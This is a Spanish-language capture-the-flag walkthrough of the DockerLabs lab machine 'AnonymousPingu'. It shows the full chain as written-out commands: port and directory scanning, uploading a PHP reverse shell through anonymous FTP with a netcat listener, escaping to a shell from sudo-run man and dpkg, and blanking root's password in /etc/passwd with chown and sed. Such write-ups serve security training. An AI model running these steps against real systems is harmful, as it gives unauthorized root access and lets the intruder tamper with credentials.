miguel@home:~$

AnonymousPingu - DockerLabs

OS Dificultad Creator
Linux Facil ElPinguinoDeMario

Reconocimiento

Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo. Descubrimos que los puertos que se encuentran activos son el 21 (FTP) y el 80 (HTTP).

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports 
  • -p-: Escanea todos los puertos (1-65535).
  • --open: Solo muestra los puertos abiertos.
  • -sS: Realiza un escaneo SYN, que es r谩pido y discreto.
  • --min-rate=5000: Env铆a al menos 5000 paquetes por segundo, acelerando el escaneo.
  • -n: No realiza resoluci贸n DNS.
  • -Pn: No realiza ping previo para determinar si el host est谩 activo.
  • -vvv: Muestra resultados detallados y en tiempo real.

image

A continuaci贸n, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, adem谩s de obtener m谩s informaci贸n sobre los servicios asociados a esos puertos.

nmap -p 21,80 -sCV 172.17.0.2 -oG targeted

image

Exploraci贸n Web

Al acceder a la p谩gina web, observamos lo siguiente:

image

Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
  • gobuster dir - Indica que est谩s utilizando la herramienta Gobuster para realizar un escaneo de directorios.
  • -u http://172.17.0.2/ Especifica la URL objetivo que deseas escanear en busca de directorios.
  • -w Especifica que diccionario queremos usar
  • -x Para indicar que tipo de extension queremos que nos encuentre

image

Vemos que hay un directorio upload pero no hay nada dentro.

image

FTP

Procedemos a explorar el servicio FTP, ya que hemos identificado anteriormente que el usuario anonymous est谩 habilitado y que tenemos permisos de escritura en el directorio upload.

Nota: Los usuarios anonymous no suelen tener contrase帽as o son opcionales en muchos servidores FTP.

A continuaci贸n, intentamos conectarnos al servidor FTP utilizando el siguiente comando:

ftp 172.17.0.2

Al intentar acceder al servidor FTP con el usuario anonymous y sin contrase帽a, observamos que podemos entrar perfectamente.

image

Intrusi贸n en la M谩quina

Generamos la reverseshell utilizando Pentest Monkey, una herramienta popular para crear shells PHP que nos permiten obtener acceso remoto al servidor. La ruta de la reverseshell es la siguiente:

Reverseshell de Pentest Monkey

Pasos para Cargar la Reverseshell

  1. Preparar la Reverseshell: Creamos un archivo de reverseshell en nuestro sistema local utilizando el c贸digo disponible en la ruta mencionada anteriormente.
  2. Subir el Archivo: Utilizamos el comando de FTP para subir el archivo al directorio upload.
  3. Ejecutar la Reverseshell: Una vez que el archivo est茅 en el servidor, lo ejecutaremos para establecer la conexi贸n.

image

Nos ponemos a escuchar por netcat en mi caso por el 4444

nc -lvnp 4444

Luego, accedemos a la ruta de la p谩gina web donde hemos cargado la reverseshell:

image

Y ya tendriamos acceso a la maquina.

image

TTY ReverseShell

Iniciar una sesi贸n de shell interactiva

En nuestra shell b谩sica, ejecutamos el siguiente comando para forzar la creaci贸n de una sesi贸n de bash interactiva:

script /dev/null -c bash

Suspender la shell

Una vez que el comando anterior est谩 en ejecuci贸n, utilizamos

Control+Z

para suspender temporalmente nuestra shell.

Preparar nuestro terminal local:

Antes de volver a nuestra shell, configuramos nuestro terminal local:

stty raw -echo; fg

Resetear la configuraci贸n del terminal

Ahora que tenemos el control de la shell, la reseteamos para asegurar que se comporta correctamente:

reset

Configura el tipo de terminal:

xterm
export TERM=xterm
export SHELL=bash

Usuario pingu

Ya estamos dentro de la m谩quina. Si ejecutamos el comando sudo -l, vemos que podemos ejecutar man como Pingu. Para ello, debemos hacer lo siguiente:

Interfaz de la herramienta

Esta herramienta tiene una secci贸n al final que muestra MORE. Si en lugar de desplazarnos hacia abajo, escribimos !/bin/bash, se generar谩 una shell con ese usuario.

sudo -u pingu /usr/bin/man find

image

Si ahora ponemos !/bin/bash:

image

Vemos que hemos subido de usuario y ya estamos con el usuario pingu.

Cambio de usuario

Usuario gladys

Vamos a volver a ejecutar el comando sudo -l.

Comando sudo

Observamos que podemos ejecutar nmap y dpkg como gladys. En mi caso, utilizar茅 dpkg y aplicar茅 el mismo m茅todo que antes con man. En mi caso, utilizar茅 dpkg y aplicar茅 el mismo m茅todo que antes con man.

sudo -u gladys /usr/bin/dpkg -l

Si ahora ponemos !/bin/bash:

image

Vemos que hemos subido de usuario y ya estamos con el usuario gladys.

image

Usuario root

Vamos a volver a ejecutar sudo -l.

image

Observamos que podemos ejecutar chown como root. Para ello, procedemos de la siguiente manera:

Primero cambiamos los permisos de /etc/passwd para que nuestro usuario tenga permisos:

sudo /usr/bin/chown $(id -un):$(id -gn) /etc/passwd

Dado que no podemos usar nano o vim porque no est谩n en el sistema instalados, utilizaremos sed para que elimine la X que tiene root para que la contrase帽a no nos la pida.

sed 's/^root:[^:]*:/root::/' /etc/passwd > /etc/passwd1

Para finalizar copiamos el /etc/passwd1 donde esta el original para que lo sobreescriba

cp /etc/passwd1 /etc/passwd

Ahora hacemos un su root y accederemos al usuario root sin proporcionar contrase帽a

image